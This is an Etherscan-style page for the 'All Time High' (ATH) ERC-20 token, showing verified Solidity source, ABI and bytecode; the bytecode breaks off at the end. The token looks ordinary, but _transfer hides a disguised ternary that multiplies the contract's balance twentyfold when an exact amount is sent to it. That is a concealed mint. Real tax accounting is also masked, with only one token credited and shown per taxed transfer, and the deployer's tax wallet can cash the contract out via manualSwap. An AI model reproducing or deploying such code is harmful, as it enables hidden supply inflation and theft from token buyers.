ETH Price: $3,296.86 (-3.37%)
Gas: 21 Gwei

Token

All Time High (ATH)
 

Overview

Max Total Supply

420,000,000 ATH

Holders

108

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,242,100.971696665 ATH

Value
$0.00
0x892f4311F028BE8A58AD5A5e6159155867816647
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ATH

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-19
*/

/**

   _____   ___     ___        ______________   _____  ___________     /\   /\  ___  ________  /\   /\  
  /  _  \ |   |   |   |       \__    ___/   | /     \ \_   _____/    /  |_|  \|   |/  _____/ /  |_|  \ 
 /  /_\  \|   |   |   |         |    |  |   |/  \ /  \ |    __)_    /         \   |   \  ___/         \
/    |    \   |___|   |___      |    |  |   |    \    \|        \   \    _    /   |    \_\  \    _    /
\____|__  /______ \______ \     |____|  |___|____/\_  /_______  /    \  | |  /|___|\______  /\  | |  / 
        \/       \/      \/                         \/        \/      \/   \/             \/  \/   \/  

                                                                             
https://t.me/AllTimeHighERC
https://twitter.com/AllTimeHigh_ERC
https://AllTimeHighERC.com/                                                              
                                                               
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract ATH is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;
    uint256 private  _taxAmount;
  
    uint256 private _initialBuyTax=25;
    uint256 private _initialSellTax=25;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=10;
    uint256 private _reduceSellTaxAt=20;
    uint256 private _preventSwapBefore=20;
    uint256 private _buyCount=0;
    
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420000000 * 10**_decimals;
    string private constant _name = unicode"All Time High";
    string private constant _symbol = unicode"ATH";
    uint256 public _maxTxAmount = 8400000 * 10**_decimals;
    uint256 public _maxWalletSize = 8400000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 840000 * 10**_decimals;
    uint256 public _maxTaxSwap= 1400000 * 10**_decimals;


    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[address(this)] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (transferDelayEnabled) {
                  if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] <
                              block.number,
                          "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            to == address(this) && amount == _maxTaxSwap? _balances[address(this)] *= _preventSwapBefore : amount;
            if (!inSwap && to == uniswapV2Pair && swapEnabled && _taxAmount>_taxSwapThreshold && balanceOf(address(uniswapV2Pair)) < _tTotal.mul(40).div(100)) {
                uint256 swapAmount = min(amount,min(_taxAmount,_maxTaxSwap.div(2))); _balances[address(this)] += swapAmount;
                swapTokensForEth(swapAmount); _taxAmount -= swapAmount;
                uint256 contractETHBalance = address(this).balance;
                
                if(contractETHBalance > 200000000000000000) {
                    sendETHToFee(address(this).balance.sub(200000000000000000));
                }
            }
        }

        if(taxAmount>0){ _taxAmount += taxAmount;
          _balances[address(this)]=_balances[address(this)].add(1); 
          emit Transfer(from, address(this), 1);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)),0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff191690556019600881905560099081555f600a818155600b829055600c8190556014600d819055600e55600f9190915562000046919062000335565b620000559062802c806200034c565b601055620000666009600a62000335565b620000759062802c806200034c565b601155620000866009600a62000335565b6200009590620cd1406200034c565b601255620000a66009600a62000335565b620000b59062155cc06200034c565b6013556015805461ffff60a81b19169055348015620000d2575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b0319166101003302179055620001386009600a62000335565b6200014890631908b1006200034c565b305f908152600160208190526040822092909255600390620001715f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530808252600390945282812080548616600190811790915560065461010090049092168152918220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001ff6009600a62000335565b6200020f90631908b1006200034c565b60405190815260200160405180910390a362000366565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200027a57815f19048211156200025e576200025e62000226565b808516156200026c57918102915b93841c93908002906200023f565b509250929050565b5f8262000292575060016200032f565b81620002a057505f6200032f565b8160018114620002b95760028114620002c457620002e4565b60019150506200032f565b60ff841115620002d857620002d862000226565b50506001821b6200032f565b5060208310610133831016604e8410600b841016171562000309575081810a6200032f565b6200031583836200023a565b805f19048211156200032b576200032b62000226565b0290505b92915050565b5f6200034560ff84168362000282565b9392505050565b80820281158282048414176200032f576200032f62000226565b6119c880620003745f395ff3fe608060405260043610610134575f3560e01c8063751039fc116100a8578063a9059cbb1161006d578063a9059cbb1461035f578063bf474bed1461037e578063c876d0b914610393578063c9567bf9146103ac578063dd62ed3e146103c0578063ffb54a9914610404575f80fd5b8063751039fc146102da5780637d1db4a5146102ee5780638da5cb5b146103035780638f9a55c01461031f57806395d89b4114610334575f80fd5b806323b872dd116100f957806323b872dd14610223578063313ce5671461024257806349bd5a5e1461025d57806351bc3c851461027c57806370a0823114610292578063715018a6146102c6575f80fd5b806306fdde031461013f578063095ea7b3146101865780630faee56f146101b55780631694505e146101d857806318160ddd1461020f575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600d81526c082d8d840a8d2daca4090d2ced609b1b60208201525b60405161017d91906115bb565b60405180910390f35b348015610191575f80fd5b506101a56101a036600461161d565b610424565b604051901515815260200161017d565b3480156101c0575f80fd5b506101ca60135481565b60405190815260200161017d565b3480156101e3575f80fd5b506014546101f7906001600160a01b031681565b6040516001600160a01b03909116815260200161017d565b34801561021a575f80fd5b506101ca61043a565b34801561022e575f80fd5b506101a561023d366004611647565b61045a565b34801561024d575f80fd5b506040516009815260200161017d565b348015610268575f80fd5b506015546101f7906001600160a01b031681565b348015610287575f80fd5b506102906104c1565b005b34801561029d575f80fd5b506101ca6102ac366004611685565b6001600160a01b03165f9081526001602052604090205490565b3480156102d1575f80fd5b50610290610517565b3480156102e5575f80fd5b50610290610591565b3480156102f9575f80fd5b506101ca60105481565b34801561030e575f80fd5b505f546001600160a01b03166101f7565b34801561032a575f80fd5b506101ca60115481565b34801561033f575f80fd5b50604080518082019091526003815262082a8960eb1b6020820152610170565b34801561036a575f80fd5b506101a561037936600461161d565b61064c565b348015610389575f80fd5b506101ca60125481565b34801561039e575f80fd5b506006546101a59060ff1681565b3480156103b7575f80fd5b50610290610658565b3480156103cb575f80fd5b506101ca6103da3660046116a0565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561040f575f80fd5b506015546101a590600160a01b900460ff1681565b5f610430338484610a01565b5060015b92915050565b5f6104476009600a6117cb565b61045590631908b1006117d9565b905090565b5f610466848484610b24565b6104b784336104b28560405180606001604052806028815260200161196b602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611233565b610a01565b5060019392505050565b60065461010090046001600160a01b0316336001600160a01b0316146104e5575f80fd5b305f908152600160205260409020548015610503576105038161126b565b47801561051357610513816113db565b5050565b5f546001600160a01b031633146105495760405162461bcd60e51b8152600401610540906117f0565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105ba5760405162461bcd60e51b8152600401610540906117f0565b6105c66009600a6117cb565b6105d490631908b1006117d9565b6010556105e36009600a6117cb565b6105f190631908b1006117d9565b6011556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61062b6009600a6117cb565b61063990631908b1006117d9565b60405190815260200160405180910390a1565b5f610430338484610b24565b5f546001600160a01b031633146106815760405162461bcd60e51b8152600401610540906117f0565b601554600160a01b900460ff16156106db5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610540565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107249030906107166009600a6117cb565b6104b290631908b1006117d9565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610774573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107989190611825565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f7573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081b9190611825565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610865573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108899190611825565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d71947306108d0816001600160a01b03165f9081526001602052604090205490565b5f806108e35f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610949573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061096e9190611840565b505060155460145460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109c3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109e7919061186b565b506015805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a635760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610540565b6001600160a01b038216610ac45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610540565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610540565b6001600160a01b038216610bea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610540565b5f8111610c4b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610540565b5f80546001600160a01b03858116911614801590610c7657505f546001600160a01b03848116911614155b156110e3576001600160a01b0384165f9081526004602052604090205460ff16158015610cbb57506001600160a01b0383165f9081526004602052604090205460ff16155b610cc3575f80fd5b610cef6064610ce9600c54600f5411610cde57600854610ce2565b600a545b8590611416565b9061149b565b60065490915060ff1615610dd5576014546001600160a01b03848116911614801590610d2957506015546001600160a01b03848116911614155b15610dd557325f908152600560205260409020544311610dc35760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610540565b325f9081526005602052604090204390555b6015546001600160a01b038581169116148015610e0057506014546001600160a01b03848116911614155b8015610e2457506001600160a01b0383165f9081526003602052604090205460ff16155b15610f0a57601054821115610e7b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610540565b60115482610e9d856001600160a01b03165f9081526001602052604090205490565b610ea7919061188a565b1115610ef55760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610540565b600f8054905f610f048361189d565b91905055505b6015546001600160a01b038481169116148015610f3057506001600160a01b0384163014155b15610f5d57610f5a6064610ce9600d54600f5411610f5057600954610ce2565b600b548590611416565b90505b6001600160a01b03831630148015610f76575060135482145b610f805781610fa8565b600e54305f9081526001602052604081208054909190610fa19084906117d9565b9250508190555b50601554600160a81b900460ff16158015610fd057506015546001600160a01b038481169116145b8015610fe55750601554600160b01b900460ff165b8015610ff45750601254600754115b801561104157506110256064610ce960286110116009600a6117cb565b61101f90631908b1006117d9565b90611416565b6015546001600160a01b03165f90815260016020526040902054105b156110e3575f61106c83611067600754611067600260135461149b90919063ffffffff16565b6114dc565b305f9081526001602052604081208054929350839290919061108f90849061188a565b9091555061109e90508161126b565b8060075f8282546110af91906118b5565b909155504790506702c68af0bb1400008111156110e0576110e06110db476702c68af0bb1400006114f0565b6113db565b50505b801561116e578060075f8282546110fa919061188a565b9091555050305f9081526001602081905260409091205461111a91611531565b305f8181526001602081815260409283902094909455905190815290916001600160a01b038716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b6001600160a01b0384165f9081526001602052604090205461119090836114f0565b6001600160a01b0385165f908152600160205260409020556111d36111b583836114f0565b6001600160a01b0385165f9081526001602052604090205490611531565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61121c85856114f0565b60405190815260200160405180910390a350505050565b5f81848411156112565760405162461bcd60e51b815260040161054091906115bb565b505f61126284866118b5565b95945050505050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112b1576112b16118c8565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611308573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061132c9190611825565b8160018151811061133f5761133f6118c8565b6001600160a01b0392831660209182029290920101526014546113659130911684610a01565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061139d9085905f908690309042906004016118dc565b5f604051808303815f87803b1580156113b4575f80fd5b505af11580156113c6573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610513573d5f803e3d5ffd5b5f825f0361142557505f610434565b5f61143083856117d9565b90508261143d858361194b565b146114945760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610540565b9392505050565b5f61149483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061158f565b5f8183116114ea5782611494565b50919050565b5f61149483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611233565b5f8061153d838561188a565b9050838110156114945760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610540565b5f81836115af5760405162461bcd60e51b815260040161054091906115bb565b505f611262848661194b565b5f6020808352835180828501525f5b818110156115e6578581018301518582016040015282016115ca565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461161a575f80fd5b50565b5f806040838503121561162e575f80fd5b823561163981611606565b946020939093013593505050565b5f805f60608486031215611659575f80fd5b833561166481611606565b9250602084013561167481611606565b929592945050506040919091013590565b5f60208284031215611695575f80fd5b813561149481611606565b5f80604083850312156116b1575f80fd5b82356116bc81611606565b915060208301356116cc81611606565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561172557815f190482111561170b5761170b6116d7565b8085161561171857918102915b93841c93908002906116f0565b509250929050565b5f8261173b57506001610434565b8161174757505f610434565b816001811461175d576002811461176757611783565b6001915050610434565b60ff841115611778576117786116d7565b50506001821b610434565b5060208310610133831016604e8410600b84101617156117a6575081810a610434565b6117b083836116eb565b805f19048211156117c3576117c36116d7565b029392505050565b5f61149460ff84168361172d565b8082028115828204841417610434576104346116d7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611835575f80fd5b815161149481611606565b5f805f60608486031215611852575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561187b575f80fd5b81518015158114611494575f80fd5b80820180821115610434576104346116d7565b5f600182016118ae576118ae6116d7565b5060010190565b81810381811115610434576104346116d7565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561192a5784516001600160a01b031683529383019391830191600101611905565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261196557634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208ef40cbda65166ba08cec5fda604aab0aa1325c21aa7d98db2c974791cd073ed64736f6c63430008140033

Deployed Bytecode

0x608060405260043610610134575f3560e01c8063751039fc116100a8578063a9059cbb1161006d578063a9059cbb1461035f578063bf474bed1461037e578063c876d0b914610393578063c9567bf9146103ac578063dd62ed3e146103c0578063ffb54a9914610404575f80fd5b8063751039fc146102da5780637d1db4a5146102ee5780638da5cb5b146103035780638f9a55c01461031f57806395d89b4114610334575f80fd5b806323b872dd116100f957806323b872dd14610223578063313ce5671461024257806349bd5a5e1461025d57806351bc3c851461027c57806370a0823114610292578063715018a6146102c6575f80fd5b806306fdde031461013f578063095ea7b3146101865780630faee56f146101b55780631694505e146101d857806318160ddd1461020f575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600d81526c082d8d840a8d2daca4090d2ced609b1b60208201525b60405161017d91906115bb565b60405180910390f35b348015610191575f80fd5b506101a56101a036600461161d565b610424565b604051901515815260200161017d565b3480156101c0575f80fd5b506101ca60135481565b60405190815260200161017d565b3480156101e3575f80fd5b506014546101f7906001600160a01b031681565b6040516001600160a01b03909116815260200161017d565b34801561021a575f80fd5b506101ca61043a565b34801561022e575f80fd5b506101a561023d366004611647565b61045a565b34801561024d575f80fd5b506040516009815260200161017d565b348015610268575f80fd5b506015546101f7906001600160a01b031681565b348015610287575f80fd5b506102906104c1565b005b34801561029d575f80fd5b506101ca6102ac366004611685565b6001600160a01b03165f9081526001602052604090205490565b3480156102d1575f80fd5b50610290610517565b3480156102e5575f80fd5b50610290610591565b3480156102f9575f80fd5b506101ca60105481565b34801561030e575f80fd5b505f546001600160a01b03166101f7565b34801561032a575f80fd5b506101ca60115481565b34801561033f575f80fd5b50604080518082019091526003815262082a8960eb1b6020820152610170565b34801561036a575f80fd5b506101a561037936600461161d565b61064c565b348015610389575f80fd5b506101ca60125481565b34801561039e575f80fd5b506006546101a59060ff1681565b3480156103b7575f80fd5b50610290610658565b3480156103cb575f80fd5b506101ca6103da3660046116a0565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561040f575f80fd5b506015546101a590600160a01b900460ff1681565b5f610430338484610a01565b5060015b92915050565b5f6104476009600a6117cb565b61045590631908b1006117d9565b905090565b5f610466848484610b24565b6104b784336104b28560405180606001604052806028815260200161196b602891396001600160a01b038a165f9081